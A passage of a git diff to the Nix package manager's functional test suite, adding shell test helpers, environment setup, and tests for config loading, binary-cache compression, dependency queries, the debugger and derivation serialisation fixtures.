-p git) ]] || skipTest "Git not installed" +} + +fail() { + echo "test failed: $*" >&2 + exit 1 +} + +# Run a command failing if it didn't exit with the expected exit code. +# +# Has two advantages over the built-in `!`: +# +# 1. `!` conflates all non-0 codes. `expect` allows testing for an exact +# code. +# +# 2. `!` unexpectedly negates `set -e`, and cannot be used on individual +# pipeline stages with `set -o pipefail`. It only works on the entire +# pipeline, which is useless if we want, say, `nix ...` invocation to +# *fail*, but a grep on the error message it outputs to *succeed*. +expect() { + local expected res + expected="$1" + shift + "$@" && res=0 || res="$?" + # also match "negative" codes, which wrap around to >127 + if [[ $res -ne $expected && $res -ne $((256 + expected)) ]]; then + echo "Expected exit code '$expected' but got '$res' from command ${*@Q}" >&2 + return 1 + fi + return 0 +} + +# Better than just doing `expect ... >&2` because the "Expected..." +# message below will *not* be redirected. +expectStderr() { + local expected res + expected="$1" + shift + "$@" 2>&1 && res=0 || res="$?" + # also match "negative" codes, which wrap around to >127 + if [[ $res -ne $expected && $res -ne $((256 + expected)) ]]; then + echo "Expected exit code '$expected' but got '$res' from command ${*@Q}" >&2 + return 1 + fi + return 0 +} + +# Run a command and check whether the stderr matches stdin. +# Show a diff when output does not match. +# Usage: +# +# assertStderr nix profile remove nothing << EOF +# error: This error is expected +# EOF +assertStderr() { + diff -u /dev/stdin <("$@" 2>/dev/null 2>&1) +} + +needLocalStore() { + if [[ "$NIX_REMOTE" == "daemon" ]]; then + skipTest "Can’t run through the daemon ($1)" + fi +} + +# Just to make it easy to find which tests should be fixed +buggyNeedLocalStore() { + needLocalStore "$1" +} + +enableFeatures() { + local features="$1" + sed -i 's/experimental-features .*/& '"$features"'/' "${test_nix_conf?}" +} + +onError() { + set +x + echo "$0: test failed at:" >&2 + for ((i = 1; i < ${#BASH_SOURCE[@]}; i++)); do + if [[ -z ${BASH_SOURCE[i]} ]]; then break; fi + echo " ${FUNCNAME[i]} in ${BASH_SOURCE[i]}:${BASH_LINENO[i-1]}" >&2 + done +} + +# Prints an error message prefix referring to the last call into this file. +# Ignores `expect` and `expectStderr` calls. +# Set a special exit code when test suite functions are misused, so that +# functions like expectStderr won't mistake them for expected Nix CLI errors. +# Suggestion: -101 (negative to indicate very abnormal, and beyond the normal +# range of signals) +# Example (showns as string): 'repl.sh:123: in call to grepQuiet: ' +# This function is inefficient, so it should only be used in error messages. +callerPrefix() { + # Find the closest caller that's not from this file + # using the bash `caller` builtin. + local i file line fn savedFn + # Use `caller` + for i in $(seq 0 100); do + caller "$i" > /dev/null || { + if [[ -n "${file:-}" ]]; then + echo "$file:$line: ${savedFn+in call to $savedFn: }" + fi + break + } + line="$(caller "$i" | cut -d' ' -f1)" + fn="$(caller "$i" | cut -d' ' -f2)" + file="$(caller "$i" | cut -d' ' -f3)" + if [[ $file != "${BASH_SOURCE[0]}" ]]; then + echo "$file:$line: ${savedFn+in call to $savedFn: }" + return + fi + case "$fn" in + # Ignore higher order functions that don't report any misuse of themselves + # This way a misuse of a foo in `expectStderr 1 foo` will be reported as + # calling foo, not expectStderr. + expect|expectStderr|callerPrefix) + ;; + *) + savedFn="$fn" + ;; + esac + done +} + +checkGrepArgs() { + local arg + for arg in "$@"; do + if [[ "$arg" != "${arg//$'\n'/_}" ]]; then + echo "$(callerPrefix)newline not allowed in arguments; grep would try each line individually as if connected by an OR operator" >&2 + return 155 # = -101 mod 256 + fi + done +} + +# `grep -v` doesn't work well for exit codes. We want `!(exist line l. l +# matches)`. It gives us `exist line l. !(l matches)`. +# +# `!` normally doesn't work well with `set -e`, but when we wrap in a +# function it *does*. +# +# `command grep` lets us avoid re-checking the args by going directly to the +# executable. +grepInverse() { + checkGrepArgs "$@" && \ + ! command grep "$@" +} + +# A shorthand, `> /dev/null` is a bit noisy. +# +# `grep -q` would seem to do this, no function necessary, but it is a +# bad fit with pipes and `set -o pipefail`: `-q` will exit after the +# first match, and then subsequent writes will result in broken pipes. +# +# Note that reproducing the above is a bit tricky as it depends on +# non-deterministic properties such as the timing between the match and +# the closing of the pipe, the buffering of the pipe, and the speed of +# the producer into the pipe. But rest assured we've seen it happen in +# CI reliably. +# +# `command grep` lets us avoid re-checking the args by going directly to the +# executable. +grepQuiet() { + checkGrepArgs "$@" && \ + command grep "$@" > /dev/null +} + +# The previous two, combined +grepQuietInverse() { + checkGrepArgs "$@" && \ + ! command grep "$@" > /dev/null +} + +# Wrap grep to remove its newline footgun; see checkGrepArgs. +# Note that we keep the checkGrepArgs calls in the other helpers, because some +# of them are negated and that would defeat this check. +grep() { + checkGrepArgs "$@" && \ + command grep "$@" +} + +# Return the number of arguments +count() { + echo $# +} + +trap onError ERR + +fi # COMMON_FUNCTIONS_SH_SOURCED diff --git a/tests/functional/common/init.sh b/tests/functional/common/init.sh new file mode 100755 index 000000000..d849c0734 --- /dev/null +++ b/tests/functional/common/init.sh @@ -0,0 +1,71 @@ +# shellcheck shell=bash + +# for shellcheck +: "${test_nix_conf_dir?}" "${test_nix_conf?}" + +if isTestOnNixOS; then + + mkdir -p "$test_nix_conf_dir" "$TEST_HOME" + + export NIX_USER_CONF_FILES="$test_nix_conf" + mkdir -p "$test_nix_conf_dir" "$TEST_HOME" + ! test -e "$test_nix_conf" + cat > "$test_nix_conf" < "$NIX_CONF_DIR"/nix.conf < "$NIX_CONF_DIR"/nix.conf.extra < /dev/null); then + # Maybe the build directory is symlinked. + export NIX_IGNORE_SYMLINK_STORE=1 + NIX_STORE_DIR=$TEST_ROOT/store + fi + export NIX_LOCALSTATE_DIR=$TEST_ROOT/var + export NIX_LOG_DIR=$TEST_ROOT/var/log/nix + export NIX_STATE_DIR=$TEST_ROOT/var/nix + export NIX_CONF_DIR=$test_nix_conf_dir + export NIX_DAEMON_SOCKET_PATH=$TEST_ROOT/dSocket + unset NIX_USER_CONF_FILES + export _NIX_TEST_SHARED=$TEST_ROOT/shared + if [[ -n $NIX_STORE ]]; then + export _NIX_TEST_NO_SANDBOX=1 + fi + export _NIX_IN_TEST=$TEST_ROOT/shared + export _NIX_TEST_NO_LSOF=1 + export NIX_REMOTE=${NIX_REMOTE_-} + +fi # ! isTestOnNixOS + +unset NIX_PATH +export HOME=$TEST_HOME +unset XDG_STATE_HOME +unset XDG_DATA_HOME +unset XDG_CONFIG_HOME +unset XDG_CONFIG_DIRS +unset XDG_CACHE_HOME + +export IMPURE_VAR1=foo +export IMPURE_VAR2=bar + +# Used in other files +# shellcheck disable=SC2034 +cacheDir=$TEST_ROOT/binary-cache + +if [[ $(uname) == Linux ]] && [[ -L /proc/self/ns/user ]] && unshare --user true; then + _canUseSandbox=1 +fi + +fi # COMMON_VARS_SH_SOURCED diff --git a/tests/completions.sh b/tests/functional/completions.sh old mode 100644 new mode 100755 similarity index 80% rename from tests/completions.sh rename to tests/functional/completions.sh index 19dc61098..9164c5013 --- a/tests/completions.sh +++ b/tests/functional/completions.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh cd "$TEST_ROOT" @@ -44,13 +46,18 @@ EOF # Input override completion [[ "$(NIX_GET_COMPLETIONS=4 nix build ./foo --override-input '')" == $'normal\na\t' ]] [[ "$(NIX_GET_COMPLETIONS=5 nix flake show ./foo --override-input '')" == $'normal\na\t' ]] +cd ./foo +[[ "$(NIX_GET_COMPLETIONS=3 nix flake update '')" == $'normal\na\t' ]] +cd .. +[[ "$(NIX_GET_COMPLETIONS=5 nix flake update --flake './foo' '')" == $'normal\na\t' ]] ## With multiple input flakes [[ "$(NIX_GET_COMPLETIONS=5 nix build ./foo ./bar --override-input '')" == $'normal\na\t\nb\t' ]] ## With tilde expansion [[ "$(HOME=$PWD NIX_GET_COMPLETIONS=4 nix build '~/foo' --override-input '')" == $'normal\na\t' ]] +[[ "$(HOME=$PWD NIX_GET_COMPLETIONS=5 nix flake update --flake '~/foo' '')" == $'normal\na\t' ]] ## Out of order -[[ "$(NIX_GET_COMPLETIONS=3 nix build --update-input '' ./foo)" == $'normal\na\t' ]] -[[ "$(NIX_GET_COMPLETIONS=4 nix build ./foo --update-input '' ./bar)" == $'normal\na\t\nb\t' ]] +[[ "$(NIX_GET_COMPLETIONS=3 nix build --override-input '' '' ./foo)" == $'normal\na\t' ]] +[[ "$(NIX_GET_COMPLETIONS=4 nix build ./foo --override-input '' '' ./bar)" == $'normal\na\t\nb\t' ]] # Cli flag completion NIX_GET_COMPLETIONS=2 nix build --log-form | grep -- "--log-format" diff --git a/tests/functional/compression-levels.sh b/tests/functional/compression-levels.sh new file mode 100755 index 000000000..399265f9c --- /dev/null +++ b/tests/functional/compression-levels.sh @@ -0,0 +1,24 @@ +#!/usr/bin/env bash + +source common.sh + +clearStoreIfPossible +clearCache + +outPath=$(nix-build dependencies.nix --no-out-link) + +cacheURI="file://$cacheDir?compression=xz&compression-level=0" + +nix copy --to "$cacheURI" "$outPath" + +FILESIZES=$(cat "${cacheDir}"/*.narinfo | awk '/FileSize: /{sum+=$2}END{print sum}') + +clearCache + +cacheURI="file://$cacheDir?compression=xz&compression-level=5" + +nix copy --to "$cacheURI" "$outPath" + +FILESIZES2=$(cat "${cacheDir}"/*.narinfo | awk '/FileSize: /{sum+=$2}END{print sum}') + +[[ $FILESIZES -gt $FILESIZES2 ]] diff --git a/tests/compute-levels.sh b/tests/functional/compute-levels.sh old mode 100644 new mode 100755 similarity index 66% rename from tests/compute-levels.sh rename to tests/functional/compute-levels.sh index e4322dfa1..a8bd27610 --- a/tests/compute-levels.sh +++ b/tests/functional/compute-levels.sh @@ -1,7 +1,9 @@ +#!/usr/bin/env bash + source common.sh if [[ $(uname -ms) = "Linux x86_64" ]]; then # x86_64 CPUs must always support the baseline # microarchitecture level. - nix -vv --version | grep -q "x86_64-v1-linux" + nix -vv --version | grepQuiet "x86_64-v1-linux" fi diff --git a/tests/config.nix.in b/tests/functional/config.nix.in similarity index 82% rename from tests/config.nix.in rename to tests/functional/config.nix.in index 7facbdcbc..00dc007e1 100644 --- a/tests/config.nix.in +++ b/tests/functional/config.nix.in @@ -20,7 +20,10 @@ rec { derivation ({ inherit system; builder = shell; - args = ["-e" args.builder or (builtins.toFile "builder-${args.name}.sh" "if [ -e .attrs.sh ]; then source .attrs.sh; fi; eval \"$buildCommand\"")]; + args = ["-e" args.builder or (builtins.toFile "builder-${args.name}.sh" '' + if [ -e "$NIX_ATTRS_SH_FILE" ]; then source $NIX_ATTRS_SH_FILE; fi; + eval "$buildCommand" + '')]; PATH = path; } // caArgs // removeAttrs args ["builder" "meta"]) // { meta = args.meta or {}; }; diff --git a/tests/config.sh b/tests/functional/config.sh old mode 100644 new mode 100755 similarity index 62% rename from tests/config.sh rename to tests/functional/config.sh index 3d0da3cef..50858eaa4 --- a/tests/config.sh +++ b/tests/functional/config.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh # Isolate the home for this test. @@ -26,6 +28,8 @@ nix registry remove userhome-with-xdg # Assert the .config folder hasn't been created. [ ! -e "$HOME/.config" ] +TODO_NixOS # Very specific test setup not compatible with the NixOS test environment? + # Test that files are loaded from XDG by default export XDG_CONFIG_HOME=$TEST_ROOT/confighome export XDG_CONFIG_DIRS=$TEST_ROOT/dir1:$TEST_ROOT/dir2 @@ -40,14 +44,35 @@ files=$(nix-build --verbose --version | grep "User config" | cut -d ':' -f2- | x # Test that it's possible to load the config from a custom location here=$(readlink -f "$(dirname "${BASH_SOURCE[0]}")") export NIX_USER_CONF_FILES=$here/config/nix-with-substituters.conf -var=$(nix show-config | grep '^substituters =' | cut -d '=' -f 2 | xargs) +var=$(nix config show | grep '^substituters =' | cut -d '=' -f 2 | xargs) [[ $var == https://example.com ]] +# Test that we can include a file. +export NIX_USER_CONF_FILES=$here/config/nix-with-include.conf +var=$(nix config show | grep '^allowed-uris =' | cut -d '=' -f 2 | xargs) +[[ $var == https://github.com/NixOS/nix ]] + +# Test that we can !include a file. +export NIX_USER_CONF_FILES=$here/config/nix-with-bang-include.conf +var=$(nix config show | grep '^experimental-features =' | cut -d '=' -f 2 | xargs) +[[ $var == nix-command ]] + # Test that it's possible to load config from the environment -prev=$(nix show-config | grep '^cores' | cut -d '=' -f 2 | xargs) +prev=$(nix config show | grep '^cores' | cut -d '=' -f 2 | xargs) export NIX_CONFIG="cores = 4242"$'\n'"experimental-features = nix-command flakes" -exp_cores=$(nix show-config | grep '^cores' | cut -d '=' -f 2 | xargs) -exp_features=$(nix show-config | grep '^experimental-features' | cut -d '=' -f 2 | xargs) +exp_cores=$(nix config show | grep '^cores' | cut -d '=' -f 2 | xargs) +exp_features=$(nix config show | grep '^experimental-features' | cut -d '=' -f 2 | xargs) [[ $prev != $exp_cores ]] [[ $exp_cores == "4242" ]] -[[ $exp_features == "flakes nix-command" ]] +# flakes implies fetch-tree +[[ $exp_features == "fetch-tree flakes nix-command" ]] + +# Test that it's possible to retrieve a single setting's value +val=$(nix config show | grep '^warn-dirty' | cut -d '=' -f 2 | xargs) +val2=$(nix config show warn-dirty) +[[ $val == $val2 ]] + +# Test unit prefixes. +[[ $(nix config show --min-free 64K min-free) = 65536 ]] +[[ $(nix config show --min-free 1M min-free) = 1048576 ]] +[[ $(nix config show --min-free 2G min-free) = 2147483648 ]] diff --git a/tests/functional/config/extra-config.conf b/tests/functional/config/extra-config.conf new file mode 100644 index 000000000..d110f06e4 --- /dev/null +++ b/tests/functional/config/extra-config.conf @@ -0,0 +1 @@ +allowed-uris = https://github.com/NixOS/nix \ No newline at end of file diff --git a/tests/functional/config/nix-with-bang-include.conf b/tests/functional/config/nix-with-bang-include.conf new file mode 100644 index 000000000..fa600e6ff --- /dev/null +++ b/tests/functional/config/nix-with-bang-include.conf @@ -0,0 +1,2 @@ +experimental-features = nix-command +!include ./missing-extra-config.conf \ No newline at end of file diff --git a/tests/functional/config/nix-with-include.conf b/tests/functional/config/nix-with-include.conf new file mode 100644 index 000000000..17b8958ba --- /dev/null +++ b/tests/functional/config/nix-with-include.conf @@ -0,0 +1,2 @@ +experimental-features = nix-command +include ./extra-config.conf \ No newline at end of file diff --git a/tests/config/nix-with-substituters.conf b/tests/functional/config/nix-with-substituters.conf similarity index 100% rename from tests/config/nix-with-substituters.conf rename to tests/functional/config/nix-with-substituters.conf diff --git a/tests/db-migration.sh b/tests/functional/db-migration.sh old mode 100644 new mode 100755 similarity index 85% rename from tests/db-migration.sh rename to tests/functional/db-migration.sh index 3f9dc8972..6feabb90d --- a/tests/db-migration.sh +++ b/tests/functional/db-migration.sh @@ -1,19 +1,22 @@ -# Test that we can successfully migrate from an older db schema +#!/usr/bin/env bash -# Only run this if we have an older Nix available -# XXX: This assumes that the `daemon` package is older than the `client` one -if [[ -z "$NIX_DAEMON_PACKAGE" ]]; then - exit 99 -fi +# Test that we can successfully migrate from an older db schema source common.sh +# Only run this if we have an older Nix available +# XXX: This assumes that the `daemon` package is older than the `client` one +if [[ -z "${NIX_DAEMON_PACKAGE-}" ]]; then + skipTest "not using the Nix daemon" +fi + +TODO_NixOS + killDaemon -unset NIX_REMOTE # Fill the db using the older Nix PATH_WITH_NEW_NIX="$PATH" -export PATH="$NIX_DAEMON_PACKAGE/bin:$PATH" +export PATH="${NIX_DAEMON_PACKAGE}/bin:$PATH" clearStore nix-build simple.nix --no-out-link nix-store --generate-binary-cache-key cache1.example.org $TEST_ROOT/sk1 $TEST_ROOT/pk1 diff --git a/tests/functional/debugger.sh b/tests/functional/debugger.sh new file mode 100755 index 000000000..b96b7e5d3 --- /dev/null +++ b/tests/functional/debugger.sh @@ -0,0 +1,15 @@ +#!/usr/bin/env bash + +source common.sh + +clearStoreIfPossible + +# regression #9932 +echo ":env" | expect 1 nix eval --debugger --expr '(_: throw "oh snap") 42' +echo ":env" | expect 1 nix eval --debugger --expr ' + let x.a = 1; in + with x; + (_: builtins.seq x.a (throw "oh snap")) x.a +' >debugger-test-out +grep -P 'with: .*a' debugger-test-out +grep -P 'static: .*x' debugger-test-out diff --git a/tests/dependencies.builder0.sh b/tests/functional/dependencies.builder0.sh similarity index 100% rename from tests/dependencies.builder0.sh rename to tests/functional/dependencies.builder0.sh diff --git a/tests/dependencies.nix b/tests/functional/dependencies.nix similarity index 69% rename from tests/dependencies.nix rename to tests/functional/dependencies.nix index 45aca1793..be1a7ae9a 100644 --- a/tests/dependencies.nix +++ b/tests/functional/dependencies.nix @@ -1,3 +1,4 @@ +{ hashInvalidator ? "" }: with import ./config.nix; let { @@ -21,6 +22,17 @@ let { ''; }; + fod_input = mkDerivation { + name = "fod-input"; + buildCommand = '' + echo ${hashInvalidator} + echo FOD > $out + ''; + outputHashMode = "flat"; + outputHashAlgo = "sha256"; + outputHash = "1dq9p0hnm1y75q2x40fws5887bq1r840hzdxak0a9djbwvx0b16d"; + }; + body = mkDerivation { name = "dependencies-top"; builder = ./dependencies.builder0.sh + "/FOOBAR/../."; @@ -29,6 +41,7 @@ let { input1_drv = input1; input2_drv = input2; input0_drv = input0; + fod_input_drv = fod_input; meta.description = "Random test package"; }; diff --git a/tests/functional/dependencies.sh b/tests/functional/dependencies.sh new file mode 100755 index 000000000..972bc5a9b --- /dev/null +++ b/tests/functional/dependencies.sh @@ -0,0 +1,76 @@ +#!/usr/bin/env bash + +source common.sh + +clearStoreIfPossible + +drvPath=$(nix-instantiate dependencies.nix) + +echo "derivation is $drvPath" + +nix-store -q --tree "$drvPath" | grep '───.*builder-dependencies-input-1.sh' + +# Test Graphviz graph generation. +nix-store -q --graph "$drvPath" > $TEST_ROOT/graph +if test -n "$dot"; then + # Does it parse? + $dot < $TEST_ROOT/graph +fi + +# Test GraphML graph generation +nix-store -q --graphml "$drvPath" > $TEST_ROOT/graphml + +outPath=$(nix-store -rvv "$drvPath") || fail "build failed" + +# Test Graphviz graph generation. +nix-store -q --graph "$outPath" > $TEST_ROOT/graph +if test -n "$dot"; then + # Does it parse? + $dot < $TEST_ROOT/graph +fi + +nix-store -q --tree "$outPath" | grep '───.*dependencies-input-2' + +echo "output path is $outPath" + +text=$(cat "$outPath/foobar") +if test "$text" != "FOOBAR"; then exit 1; fi + +deps=$(nix-store -quR "$drvPath") + +echo "output closure contains $deps" + +# The output path should be in the closure. +echo "$deps" | grepQuiet "$outPath" + +# Input-1 is not retained. +if echo "$deps" | grepQuiet "dependencies-input-1"; then exit 1; fi + +# Input-2 is retained. +input2OutPath=$(echo "$deps" | grep "dependencies-input-2") + +# The referrers closure of input-2 should include outPath. +nix-store -q --referrers-closure "$input2OutPath" | grep "$outPath" + +# Check that the derivers are set properly. +test $(nix-store -q --deriver "$outPath") = "$drvPath" +nix-store -q --deriver "$input2OutPath" | grepQuiet -- "-input-2.drv" + +# --valid-derivers returns the currently single valid .drv file +test "$(nix-store -q --valid-derivers "$outPath")" = "$drvPath" + +# instantiate a different drv with the same output +drvPath2=$(nix-instantiate dependencies.nix --argstr hashInvalidator yay) + +# now --valid-derivers returns both +test "$(nix-store -q --valid-derivers "$outPath" | sort)" = "$(sort <<< "$drvPath"$'\n'"$drvPath2")" + +TODO_NixOS # The following --delete fails, because it seems to be still alive. This might be caused by a different test using the same path. We should try make the derivations unique, e.g. naming after tests, and adding a timestamp that's constant for that test script run. + +# check that nix-store --valid-derivers only returns existing drv +nix-store --delete "$drvPath" +test "$(nix-store -q --valid-derivers "$outPath")" = "$drvPath2" + +# check that --valid-derivers returns nothing when there are no valid derivers +nix-store --delete "$drvPath2" +test -z "$(nix-store -q --valid-derivers "$outPath")" diff --git a/tests/functional/derivation-advanced-attributes.sh b/tests/functional/derivation-advanced-attributes.sh new file mode 100755 index 000000000..271f17dc6 --- /dev/null +++ b/tests/functional/derivation-advanced-attributes.sh @@ -0,0 +1,23 @@ +#!/usr/bin/env bash + +source common/test-root.sh +source common/paths.sh + +set -eu -o pipefail + +source characterisation/framework.sh + +badDiff=0 +badExitCode=0 + +store="$TEST_ROOT/store" + +for nixFile in derivation/*.nix; do + drvPath=$(nix-instantiate --store "$store" --pure-eval --expr "$(< "$nixFile")") + testName=$(basename "$nixFile" .nix) + got="${store}${drvPath}" + expected="derivation/$testName.drv" + diffAndAcceptInner "$testName" "$got" "$expected" +done + +characterisationTestExit diff --git a/tests/functional/derivation-json.sh b/tests/functional/derivation-json.sh new file mode 100755 index 000000000..06f934cfe --- /dev/null +++ b/tests/functional/derivation-json.sh @@ -0,0 +1,14 @@ +#!/usr/bin/env bash + +source common.sh + +drvPath=$(nix-instantiate simple.nix) + +nix derivation show "$drvPath" | jq .[] > "$TEST_HOME"/simple.json + +drvPath2=$(nix derivation add < "$TEST_HOME"/simple.json) + +[[ "$drvPath" = "$drvPath2" ]] + +# Input addressed derivations cannot be renamed. +jq '.name = "foo"' < "$TEST_HOME"/simple.json | expectStderr 1 nix derivation add | grepQuiet "has incorrect output" diff --git a/tests/functional/derivation/advanced-attributes-defaults.drv b/tests/functional/derivation/advanced-attributes-defaults.drv new file mode 100644 index 000000000..391c6ab80 --- /dev/null +++ b/tests/functional/derivation/advanced-attributes-defaults.drv @@ -0,0 +1 @@ +Derive([("out","/nix/store/1qsc7svv43m4dw2prh6mvyf7cai5czji-advanced-attributes-defaults","","")],[],[],"my-system","/bin/bash",["-c","echo hello > $out"],[("builder","/bin/bash"),("name","advanced-attributes-defaults"),("out","/nix/store/1qsc7svv43m4dw2prh6mvyf7cai5czji-advanced-attributes-defaults"),("system","my-system")]) \ No newline at end of file diff --git a/tests/functional/derivation/advanced-attributes-defaults.nix b/tests/functional/derivation/advanced-attributes-defaults.nix new file mode 100644 index 000000000..51a8d0e7e --- /dev/null +++ b/tests/functional/derivation/advanced-attributes-defaults.nix @@ -0,0 +1,6 @@ +derivation { + name = "advanced-attributes-defaults"; + system = "my-system"; + builder = "/bin/bash"; + args = [ "-c" "echo hello > $out" ]; +} diff --git a/tests/functional/derivation/advanced-attributes-structured-attrs-defaults.drv b/tests/functional/derivation/advanced-attributes-structured-attrs-defaults.drv new file mode 100644 index 000000000..9dd402057 --- /dev/null +++ b/tests/functional/derivation/advanced-attributes-structured-attrs-defaults.drv @@ -0,0 +1 @@ +Derive([("dev","/nix/store/8bazivnbipbyi569623skw5zm91z6kc2-advanced-attributes-structured-attrs-defaults-dev","",""),("out","/nix/store/f8f8nvnx32bxvyxyx2ff7akbvwhwd9dw-advanced-attributes-structured-attrs-defaults","","")],[],[],"my-system","/bin/bash",["-c","echo hello > $out"],[("__json","{\"builder\":\"/bin/bash\",\"name\":\"advanced-attributes-structured-attrs-defaults\",\"outputs\":[\"out\",\"dev\"],\"system\":\"my-system\"}"),("dev","/nix/store/8bazivnbipbyi569623skw5zm91z6kc2-advanced-attributes-structured-attrs-defaults-dev"),("out","/nix/store/f8f8nvnx32bxvyxyx2ff7akbvwhwd9dw-advanced-attributes-structured-attrs-defaults")]) \ No newline at end of file diff --git a/tests/functional/derivation/advanced-attributes-structured-attrs-defaults.nix b/tests/functional/derivation/advanced-attributes-structured-attrs-defaults.nix new file mode 100644 index 000000000..0c13a7691 --- /dev/null +++ b/tests/functional/derivation/advanced-attributes-structured-attrs-defaults.nix @@ -0,0 +1,8 @@ +derivation { + name = "advanced-attributes-structured-attrs-defaults"; + system = "my-system"; + builder = "/bin/bash"; + args = [ "-c" "echo hello > $out" ]; + outputs = [ "out" "dev" ]; + __structuredAttrs = true; +} diff --git a/tests/functional/derivation/advanced-attributes-structured-attrs.drv b/tests/functional/derivation/advanced-attributes-structured-attrs.drv new file mode 100644 index 000000000..e47a41ad5 --- /dev/null +++ b/tests/functional/derivation/advanced-attributes-structured-attrs.drv @@ -0,0 +1 @@ +Derive([("bin","/nix/store/pbzb48v0ycf80jgligcp4n8z0rblna4n-advanced-attributes-structured-attrs-bin","",""),("dev","/nix/store/7xapi8jv7flcz1qq8jhw55ar8ag8hldh-advanced-attributes-structured-attrs-dev","",""),("out","/nix/store/mpq3l1l1qc2yr50q520g08kprprwv79f-advanced-attributes-structured-attrs","","")],[("/nix/store/4xm4wccqsvagz9gjksn24s7rip2fdy7v-foo.drv",["out"]),("/nix/store/plsq5jbr5nhgqwcgb2qxw7jchc09dnl8-bar.drv",["out"])],[],"my-system","/bin/bash",["-c","echo hello > $out"],[("__json","{\"__darwinAllowLocalNetworking\":true,\"__impureHostDeps\":[\"/usr/bin/ditto\"],\"__noChroot\":true,\"__sandboxProfile\":\"sandcastle\",\"allowSubstitutes\":false,\"builder\":\"/bin/bash\",\"impureEnvVars\":[\"UNICORN\"],\"name\":\"advanced-attributes-structured-attrs\",\"outputChecks\":{\"bin\":{\"disallowedReferences\":[\"/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar\"],\"disallowedRequisites\":[\"/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar\"]},\"dev\":{\"maxClosureSize\":5909,\"maxSize\":789},\"out\":{\"allowedReferences\":[\"/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo\"],\"allowedRequisites\":[\"/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo\"]}},\"outputs\":[\"out\",\"bin\",\"dev\"],\"preferLocalBuild\":true,\"requiredSystemFeatures\":[\"rainbow\",\"uid-range\"],\"system\":\"my-system\"}"),("bin","/nix/store/pbzb48v0ycf80jgligcp4n8z0rblna4n-advanced-attributes-structured-attrs-bin"),("dev","/nix/store/7xapi8jv7flcz1qq8jhw55ar8ag8hldh-advanced-attributes-structured-attrs-dev"),("out","/nix/store/mpq3l1l1qc2yr50q520g08kprprwv79f-advanced-attributes-structured-attrs")]) \ No newline at end of file diff --git a/tests/functional/derivation/advanced-attributes-structured-attrs.nix b/tests/functional/derivation/advanced-attributes-structured-attrs.nix new file mode 100644 index 000000000..0044b65fd --- /dev/null +++ b/tests/functional/derivation/advanced-attributes-structured-attrs.nix @@ -0,0 +1,45 @@ +let + system = "my-system"; + foo = derivation { + inherit system; + name = "foo"; + builder = "/bin/bash"; + args = ["-c" "echo foo > $out"]; + }; + bar = derivation { + inherit system; + name = "bar"; + builder = "/bin/bash"; + args = ["-c" "echo bar > $out"]; + }; +in +derivation { + inherit system; + name = "advanced-attributes-structured-attrs"; + builder = "/bin/bash"; + args = [ "-c" "echo hello > $out" ]; + __sandboxProfile = "sandcastle"; + __noChroot = true; + __impureHostDeps = ["/usr/bin/ditto"]; + impureEnvVars = ["UNICORN"]; + __darwinAllowLocalNetworking = true; + outputs = [ "out" "bin" "dev" ]; + __structuredAttrs = true; + outputChecks = { + out = { + allowedReferences = [foo]; + allowedRequisites = [foo]; + }; + bin = { + disallowedReferences = [bar]; + disallowedRequisites = [bar]; + }; + dev = { + maxSize = 789; + maxClosureSize = 5909; + }; + }; + requiredSystemFeatures = ["rainbow" "uid-range"]; + preferLocalBuild = true; + allowSubstitutes = false; +} diff --git a/tests/functional/derivation/advanced-attributes.drv b/tests/functional/derivation/advanced-attributes.drv new file mode 100644 index 000000000..ec3112ab2 --- /dev/null +++ b/tests/functional/derivation/advanced-attributes.drv @@ -0,0 +1 @@ +Derive([("out","/nix/store/33a6fdmn8q9ih9d7npbnrxn2q56a4l8q-advanced-attributes","","")],[("/nix/store/4xm4wccqsvagz9gjksn24s7rip2fdy7v-foo.drv",["out"]),("/nix/store/plsq5jbr5nhgqwcgb2qxw7jchc09dnl8-bar.drv",["out"])],[],"my-system","/bin/bash",["-c","echo hello > $out"],[("__darwinAllowLocalNetworking","1"),("__impureHostDeps","/usr/bin/ditto"),("__noChroot","1"),("__sandboxProfile","sandcastle"),("allowSubstitutes",""),("allowedReferences","/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo"),("allowedRequisites","/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo"),("builder","/bin/bash"),("disallowedReferences","/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar"),("disallowedRequisites","/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar"),("impureEnvVars","UNICORN"),("name","advanced-attributes"),("out","/nix/store/33a6fdmn8q9ih9d7npbnrxn2q56a4l8q-advanced-attributes"),("preferLocalBuild","1"),("requiredSystemFeatures","rainbow uid-range"),("system","my-system")]) \ No newline at end of file diff --git a/tests/functional/derivation/advanced-attributes.nix b/tests/functional/derivation/advanced-attributes.nix new file mode 100644 index 000000000..ff680c567 --- /dev/null +++ b/tests/functional/derivation/advanced-attributes.nix @@ -0,0 +1,33 @@ +let + system = "my-system"; + foo = derivation { + inherit system; + name = "foo"; + builder = "/bin/bash"; + args = ["-c" "echo foo > $out"]; + }; + bar = derivation { + inherit system; + name = "bar"; + builder = "/bin/bash"; + args = ["-c" "echo bar > $out"]; + }; +in +derivation { + inherit system; + name = "advanced-attributes"; + builder = "/bin/bash"; + args = [ "-c" "echo hello > $out" ]; + __sandboxProfile = "sandcastle"; + __noChroot = true; + __impureHostDeps = ["/usr/bin/ditto"]; + impureEnvVars = ["UNICORN"]; + __darwinAllowLocalNetworking = true; + allowedReferences = [foo]; + allowedRequisites = [foo]; + disallowedReferences = [bar]; + disallowedRequisites = [bar]; + requiredSystemFeatures = ["rainbow" "uid-range"]; + preferLocalBuild = true; + allowSubstitutes = false; +} diff --git a/tests/dummy b/tests/functional/dummy similarity index 100% rename from tests/dummy rename to tests/functional/dummy diff --git a/tests/dump-db.sh b/tests/functional/dump-db.sh old mode 100644 new mode 100755 similarity index 92% rename from tests/dump-db.sh rename to tests/functional/dump-db.sh index 48647f403..14181b4b6 --- a/tests/dump-db.sh +++ b/tests/functional/dump-db.sh @@ -1,5 +1,9 @@ +#!/usr/bin/env bash + source common.sh +TODO_NixOS + needLocalStore "--dump-db requires a local store" clearStore diff --git a/tests/functional/dyn-drv/build-built-drv.sh b/tests/functional/dyn-drv/build-built-drv.sh new file mode 100644 index 000000000..647be9457 --- /dev/null +++ b/tests/functional/dyn-drv/build-built-drv.sh @@ 